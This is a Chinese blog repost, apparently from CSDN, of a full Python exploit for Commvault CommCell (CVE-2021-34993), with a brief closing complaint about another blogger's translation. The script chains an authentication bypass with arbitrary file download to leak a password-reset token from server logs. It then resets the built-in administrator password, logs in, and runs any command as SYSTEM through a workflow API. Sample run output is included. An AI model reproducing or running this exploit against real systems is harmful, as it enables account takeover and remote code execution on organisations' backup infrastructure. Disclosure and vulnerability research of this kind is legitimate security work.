Commvault CommCell 认证绕过与任意文件下载【CVE-2021-34993】

Commvault CommCell 认证绕过与任意文件下载【CVE-2021-34993】

漏洞分析:分析
POC地址:poc
你可能需要个梯子:twitter
POC:

#!/usr/bin/env python3
"""
Commvault Commcell CVAuthHttpModule OnEnter Authentication Bypass Vulnerability
Download: https://downloadcenter.commvault.com/CVDownloadCenter/11.0/build80/Bootstrappers/SP22/CommvaultExpress_Media_11_22.exe?__cv__=1621244407_f429a2139f351674cb6292da156843ea&ext=.exe
Installer: CommvaultExpress_Media_11_22.exe
SHA1(CommvaultExpress_Media_11_22.exe)= a0c3a652fa69f96c2f7e7559b51309034709ac02
Found by: Justin Kennedy, Brandon Perry and Steven Seeley

Bug 1: https://www.zerodayinitiative.com/advisories/ZDI-21-1328/
Bug 2: https://www.zerodayinitiative.com/advisories/ZDI-21-1331/

# Notes

This exploit:

  - ...is a combination of two bugs to achieve authentication bypass
    1. CVAuthHttpModule OnEnter Partial Authentication Bypass
    2. CVSearchSvc downLoadFile File Disclosure

  - ...will reset the SystemCreatedAdmin user accounts password to Sup3rPWD123!! so this is LOUD.
  - ...will trigger an RCE in the Demo_ExecuteProcessOnGroup component, to ensure it achieves SYSTEM access instead of NETWORK SERVICE :->

# Example

researcher@neophyte:~$ ./poc.py
(+) usage: ./poc.py <target> <cmd>
(+) eg: ./poc.py 192.168.184.142 mspaint

researcher@neophyte:~$ ./poc.py 192.168.184.142 mspaint
(+) triggering password reset token for SystemCreatedAdmin...
(+) password reset token logged!
(+) leaking password reset token...
(+) leaked reset token: 3878c9e543ce057c8ad95ace6504e71338f492d488d20e058831469413d5db487740ccd1295da6993374f82c4c9f7a59b
(+) reseting SystemCreatedAdmin's password...
(+) done! reset the password to: U3VwM3JQV0QxMjMhIQ==
(+) logging in...
(+) logged in! obtained encrypted token
(+) triggering rce...
(+) done! executed command: "mspaint" as NT AUTHORITY/SYSTEM
"""

import requests
import sys
import urllib3
import base64
import re
from lxml.etree import fromstring
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def trigger_pwd_reset_token(t):
    uri = "https://%s/webconsole/" % t
    s = requests.Session()
    s.get("%slogin/index.jsp" % uri, verify=False)
    r = s.get("%sTFAStatus.do" % uri, params={"username":"SystemCreatedAdmin"}, verify=False)
    assert r.status_code == 200, "(-) password reset failed during setup!"
    d = {"username":"SystemCreatedAdmin"}
    h = {"X-CSRF-Token": s.cookies['csrf']}
    r = s.post("%sresetPassword.do" % uri, data=d, headers=h, verify=False)
    assert r.status_code == 200, "(-) password reset failed!"
    return s

def leak_reset_token(t):
    uri = "http://%s:81/SearchSvc/CVSearchService.svc" % t
    h = {
        "cookie" : "Login",  # partial auth bypass
        "soapaction" : "http://tempuri.org/ICVSearchSvc/downLoadFile",
        "content-type" : "text/xml"
    }
    d = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
      <tem:downLoadFile>
         <tem:path>c:/Program Files/Commvault/ContentStore/Log Files/WebServer.log</tem:path>
      </tem:downLoadFile>
   </soapenv:Body>
</soapenv:Envelope>"""
    r = requests.post(uri, data=d, headers=h)
    assert r.status_code == 200, "(-) log leak failed!"
    assert r.headers['content-type'] == "text/xml; charset=utf-8", "(-) invalid xml response from the log leak!"
    xml = fromstring(r.text.encode('utf-8'))
    ns = { "s":"http://schemas.xmlsoap.org/soap/envelope/", "d":"http://tempuri.org/" }
    dfr = xml.xpath('//s:Envelope//s:Body//d:downLoadFileResponse//d:downLoadFileResult', namespaces=ns).pop()
    webserverlog = base64.b64decode(dfr.text.encode('utf-8'))
    matches = re.findall("gid=(.*)", webserverlog.decode("utf-8") )
    assert len(matches) > 0, "(-) no reset token found in the log?"
    r = requests.get("https://%s/webconsole/gtl.do" % t, params={"gid":matches.pop()}, allow_redirects=False, verify=False)
    match = re.search("tk=(.*)", r.headers["location"])
    assert match !=None, "(-) couldn't leak password reset token from 302!"
    return match.group(1)

def reset_password(s, t, tkn, pwd):
    uri = "https://%s/webconsole/resetPasswordReq.do" % t
    d = {
        "password": pwd,
        "token": tkn
    }
    h = {"X-CSRF-Token": s.cookies['csrf']}
    r = s.post(uri, data=d, headers=h, verify=False)
    assert r.status_code == 200, "(-) password reset failed!"

def login(t, pwd):
    uri = "http://%s:81/SearchSvc/CVWebService.svc/Login" % t
    d = """<DM2ContentIndexing_CheckCredentialReq mode="Webconsole" username="SystemCreatedAdmin" password="%s" />""" % pwd
    r = requests.post(uri, data=d)
    assert r.status_code == 200, "(-) login failed!"
    xml = fromstring(r.text.encode('utf-8'))
    ccr = xml.xpath('/DM2ContentIndexing_CheckCredentialResp').pop()
    assert ccr.attrib["token"].startswith("QSDK"), "(-) failed to obtain QSDK token when logging in!"
    return ccr.attrib["token"]

def trigger_workflow(t, qsdk, cmd):
    uri = "https://%s/webconsole/api/Workflow/Demo_ExecuteProcessOnGroup/Action/Execute" % t
    h = {
        "content-type" : "application/json",
        "authtoken" : qsdk
    }
    j = {
        "Workflow_StartWorkflow": {
            "outputFormat": "",
            "options": {
                "inputs": {
                    "clientGroup": "Infrastructure",
                    "processName": cmd, # we are already in the cmd interpreter
                    "arguments": "",
                    "startupPath":"",
                    "impersonateUserName":"",
                    "impersonateUserPassword":"",
                }
            },
            "client": {
                "clientName": ""
            }
        }
    }
    r = requests.post(uri, json=j, headers=h, verify=False)
    assert r.status_code == 200, "(-) rce failed!"

def main():
    if len(sys.argv) != 3:
        print("(+) usage: %s <target> <cmd>" % sys.argv[0])
        print("(+) eg: %s 192.168.184.142 mspaint" % sys.argv[0])
        sys.exit(1)
    t = sys.argv[1]
    c = sys.argv[2]
    pwd = "Sup3rPWD123!!" # change this for whatever you like
    pwd = base64.b64encode(pwd.encode("utf-8")).decode("utf-8")
    print("(+) triggering password reset token for SystemCreatedAdmin...")
    s = trigger_pwd_reset_token(t)
    print("(+) password reset token logged!")
    print("(+) leaking password reset token...")
    token = leak_reset_token(t)
    print("(+) leaked reset token: %s" % token)
    print("(+) reseting SystemCreatedAdmin's password...")
    reset_password(s, t, token, pwd)
    print("(+) done! reset the password to: %s" % pwd)
    print("(+) logging in...")
    qsdk = login(t, pwd)
    print("(+) logged in! obtained encrypted token")
    print("(+) triggering rce...")
    trigger_workflow(t, qsdk, c)
    print("(+) done! executed command: \"%s\" as NT AUTHORITY/SYSTEM" % c)

if __name__ == "__main__":
    main()

当然你想看中文版的这儿有:中文版
这大哥昨天发了这个漏洞,我看了一遍准备搞个靶场试一下,结果他还想让我给他引流…
今天上网一搜还不是翻译的别人国外的文章,差点就给我豁到了…

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值